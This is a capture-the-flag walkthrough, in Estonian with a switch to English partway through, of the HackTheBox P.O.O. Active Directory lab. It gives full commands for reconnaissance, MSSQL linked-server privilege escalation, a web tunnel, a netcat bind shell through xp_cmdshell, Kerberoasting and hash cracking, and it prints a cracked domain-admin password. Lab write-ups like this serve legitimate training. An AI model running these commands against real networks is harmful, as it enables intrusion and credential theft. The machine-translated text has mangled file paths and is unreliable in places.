HackTheBoxi lõppkatse. Professionaalse Rünn OPERATSIOONIDE labori läbimine. Active Directory pentestimine

Selles artiklis vaatleme mitte ainult masina, vaid terve mini-laboratooriumi läbimist saidilt HackTheBox.

Nagu on öeldud kirjelduse juures, on P.O.O. mõeldud oskuste kontrollimiseks rünnakute kõikidel etappidel väikestes Active Directory keskkondades. Eesmärk on komprimeerida juurdepääsetav host, tõsta õigusi ja lõpuks komprimeerida kogu domeeni, kogudes samal ajal 5 lippu.

Laboratooriumisse ühendamiseks kasutatakse VPN-i. Soovitame mitte ühenduda töökompuutri või hostiga, kus on olulised andmed, kuna sisenete privaatvõrku inimestega, kellel on oskused infotehnoloogia valdkonnas 🙂

Organisatsiooniline teave
Kuna saaksite teada uutest artiklitest, tarkvarast ja muust teabest, olen loonud Telegrami kanali ja arutelugrupi kõigi küsimuste jaoks infotehnoloogia ja küberturbe valdkonnas. Samuti vaatan teie isiklikke palveid, küsimusi, ettepanekuid ja soovitusi isiklikult ja vastan kõigile.

Kogu teave on esitatud ainult hariduslikel eesmärkidel. Selle dokumendi autor ei vastuta mitte mingite kahjude eest, mis võidakse kellelegi tekitada selle dokumendi kaudu saadud teadmiste ja meetodite kasutamise tulemusena.

Sissejuhatus

See lõppkatse koosneb kahest masinast ja sisaldab 5 lippu.

Samuti antakse ülevaade ja juurdepääsetava hosti aadress.

Alustame!

Recon lipp

Sellel masinal on IP-aadress 10.13.38.11, mille lisan /etc/hosts.
10.13.38.11 poo.htb

Esmalt skaneerime avatud porte. Kuna kõigi portide skaneerimine nmap’iga võtab kaua aega, kasutan kõigepealt masscan'i. Skaneerime kõiki TCP ja UDP porte tun0 liidese kaudu kiirusel 500 paketti sekundis.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

Nüüd saame teenuste kohta rohkem teavet, mis töötavad portides, käivitades skaneerimise valikuga -A.

nmap -A poo.htb -p80,1433

Nii saame IIS ja MSSQL teenuseid. Samuti selgub reaalne DNS-i nimi domeeni ja arvuti jaoks. Veebiserveril tervitab meid IIS-i peamine leht.

Vaadakem kaustu. Kasutan selleks gobusterit. Parameetrites määran voogude arvu 128 (-t), URL-i (-u), sõnaraamatu (-w) ja laiendused, mis meid huvitavad (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

Nii et me saame HTTP autentimise kaustas /admin, samuti saadaval oleva töölaudade teenuse failide jaoks .DS_Store. .DS_Store on failid, mis salvestavad kausta kasutaja seaded, nagu failide loend, ikoonide asukoht ja valitud taustapilt. Sellised failid võivad sattuda veebiserveri kausta veebiarendajate poolt. Seega saame teavet katalooge sisu kohta. Selleks saab kasutada DS_Store kraanija.

python3 dsstore_crawler.py -i http://poo.htb/

Saame katalooge sisu. Kõige huvitavam siin on kataloog /dev, kust saame kahes harus vaadata lähtekode ja db-faile. Kuid me saame ainult 6 esimest sümbolit failide ja kaustade nimedest, kui teenus on IIS ShortName'i suhtes haavatav. Selle haavatavuse tuvastamiseks saab kasutada IIS lühinime skanner.

Ja leidub üks tekstifail, mis algab «poo_co». Mitte teadmata, mida edasi teha, valisin lihtsalt sõnastikust kõik sõnad, mis algavad «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ja proovime wfuzziga.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

Ja me leiame sobiva sõna! Vaadake seda faili, salvestame volitused (arvestades DBNAME parameetrit, on need MSSQL-i omad).

Anname lipu ja liigume edasi 20%.

Huh lipp

Ühendume MSSQL-iga, kasutan DBeaverit.

Selles andmebaasis ei leidu midagi huvitavat, loome SQL-toimetaja ja kontrollime, millised kasutajad on olemas.

SELECT name FROM master..syslogins;

Meil on kaks kasutajat. Kontrollime oma õigusi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

Nii et õigusi pole. Vaadake seotud servereid, sellest meetodist olen ma üksikasjalikult kirjutanud siin.

SELECT * FROM master..sysservers;

Nii et leiame veel ühe SQL Serveri. Kontrollime, kas käskinud käskudega avatud päringute juurde.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

Ja me saame isegi üles ehitada päringute puu.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

As it turns out, when we make a request to the linked server, the request is executed in the context of another user! Let's see which user's context we are working in on the linked server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

Now let's see in what context requests from the linked server to ours are executed!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

Thus, this is the DBO context, which should have all the privileges. Let's check the privileges in case of a request from the linked server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

As you can see, we have all privileges! Let's create our own admin like this. But they won't allow it through openquery, so let's do it through EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

And now we connect with the new user's credentials, observing the new database flag.

Let's capture this flag and move on.

BackTrack flag

We will get a shell using MSSQL; I'm using mssqlclient from the impacket package.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

We need to obtain passwords, and the first thing we've encountered is the site. Therefore, we need the web server config (it seems we can't drop a convenient shell because a firewall is in place).

But access is denied. Although we can read files from MSSQL, we just need to know which programming languages are configured. And in the MSSQL directory, we find that Python is available.

Then reading the web.config file is no problem.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

With the found credentials, we will access /admin and retrieve the flag.

Foothold flag

Actually, there are some inconveniences with using the firewall, but while reviewing the network settings, we notice that an IPv6 hole is also used!

Let's add this address to /etc/hosts.
dead:babe::1001 poo6.htb
Skaneerime hosti uuesti, kuid nüüd IPv6 protokolli kaudu.

Ja WinRM teenus on saadaval ka IPv6 kaudu. Ühendame leitud kasutajatunnustega.

Töölaual on lipp, anname selle ära.

P00ned lip

Homme läbi hosti skaneerimise winpeas ei leia midagi erilist. Seetõttu otsustasime taas kasutajatunnuseid otsida (selle teemaga olen ma ka kirjutanud artiklit). Kuid ma ei saanud kõiki SPN-e süsteemist välja WinRM-i kaudu.

setspn.exe -T intranet.poo -Q *
/*

Hakkame käitama käsku läbi MSSQL.

Sel viisil saame SPN-id kasutajatelt p00_hr ja p00_adm, mis tähendab, et nad on haavatavad sellise rünnaku, nagu Kerberoasting, suhtes. Lühidalt öeldes saame nende paroolide hashid.

Esiteks peame saama stabiilse shelli MSSQL kasutajana. Kuid kuna meil on ligipääs piiratud, siis on meie ühendus hostiga saadaval ainult portide 80 ja 1433 kaudu. Kuid meil on võimalus tunnelda liiklust läbi port 80! Selleks kasutame järgmine rakendus. Laeme faili tunnel.aspx veebiserveri kodukatalooge — C:inetpubwwwroot.

Kuid kui proovime sellele juurde pääseda, saame 404 vea. See tähendab, et failid *.aspx ei tööta. Et failid selle pikendusega töötaksid, installime ASP.NET 4.5 järgmisel viisil.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

Ja nüüd, kui pöördume tunnel.aspx poole, saame vastuse, et kõik on tööks valmis.

Käivitame rakenduse kliendi osa, mis tegeleb liikluste edastamisega. Suuname kogu liikluse serverilt 5432 porti.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

Ja kasutame proxychains, et suunata iga rakenduse liiklust läbi meie proxy. Lisame selle proxy konfiguratsiooni faili /etc/proxychains.conf.

Nüüd laadime serverisse programmi netcat, mille abil teeme stabiilse bind shelli, ja skripti Invoke-Kerberoast, millega teeme Kerberoastingu rünnaku.

Nüüd käivitame MSSQL kaudu kuulaja.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

Ja ühendame meie proxy kaudu.

proxychains rlwrap nc poo.htb 4321

Ja saame hashid.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

Seejärel tuleb need hashid läbi vaadata. Kuna rockyou paroolide sõnastikus ei olnud, kasutasin KÕIKI Seclistsis pakutud paroolide sõnastikke. Hashide murdmise jaoks kasutame hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ja leiame mõlemad paroolid, esimese failist dutch_passwordlist.txt ja teise failist Keyboard-Combinations.txt.

Ja nüüd on meil kolm kasutajat, liigume domeeni kontrolleri juurde. Esmalt saame teada selle aadressi.

Suurepärane, me oleme teada saanud domeeni kontrolleri IP-aadressi. Uurime nüüd kõiki domeeni kasutajaid ning seda, kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet hankida. Siis ühendame evil-winrm-iga, määrates -s parameetrisse skripti kausta. Ja seejärel laadime skripti PowerView lihtsalt üles.

Nüüd on meil kõik selle funktsioonid saadaval. Kasutaja p00_adm näib olevat privileegidega, seega töötame tema kontekstis. Loome selle kasutaja jaoks PSCredential objekti.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nüüd on kõik Powershelli käsud, kus me määrame Creds, täidetud p00_admi nimel. Vaatame kasutajate nimekirja ja atribuuti AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Ja meie kasutaja on tõeliselt privileegidega. Vaatame, millistes gruppides ta on.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

Kinnitame, et kasutaja on domeeni administraator. See annab talle õiguse kaug siseneda domeeni kontrollerisse. Proovime sisse logida WinRM-i kaudu, kasutades meie tunnelit. Mind häirisid reaGeorgi vead evil-winrm'i kasutamisel.

Kasutame siis teist, lihtsamat skripti skripti WinRM-i ühendamiseks. Avame ja muudame ühenduse seadeid.

Proovime ühendust luua, ja me oleme süsteemis.

Aga lippu pole. Siis vaatame kasutajat ja kontrollime töölaudu.

Leidsime mr3ksilt lipu ja laboratoorium on 100% läbitud.

See ongi kõik. Tagasiside osana, palun kommenteerige — kas õppisite sellest artiklist midagi uut ja kas see oli teile kasulik.

Saate liituda meiega Telegram. Seal leiate huvitavaid materjale, lekkinud kursse ning tarkvara. Loome kogukonna, kus on inimesed, kes mõistavad paljusid IT valdkondi, et saame alati üksteisele IT ja RIK küsimustes abi anda.

Allikas: habr.com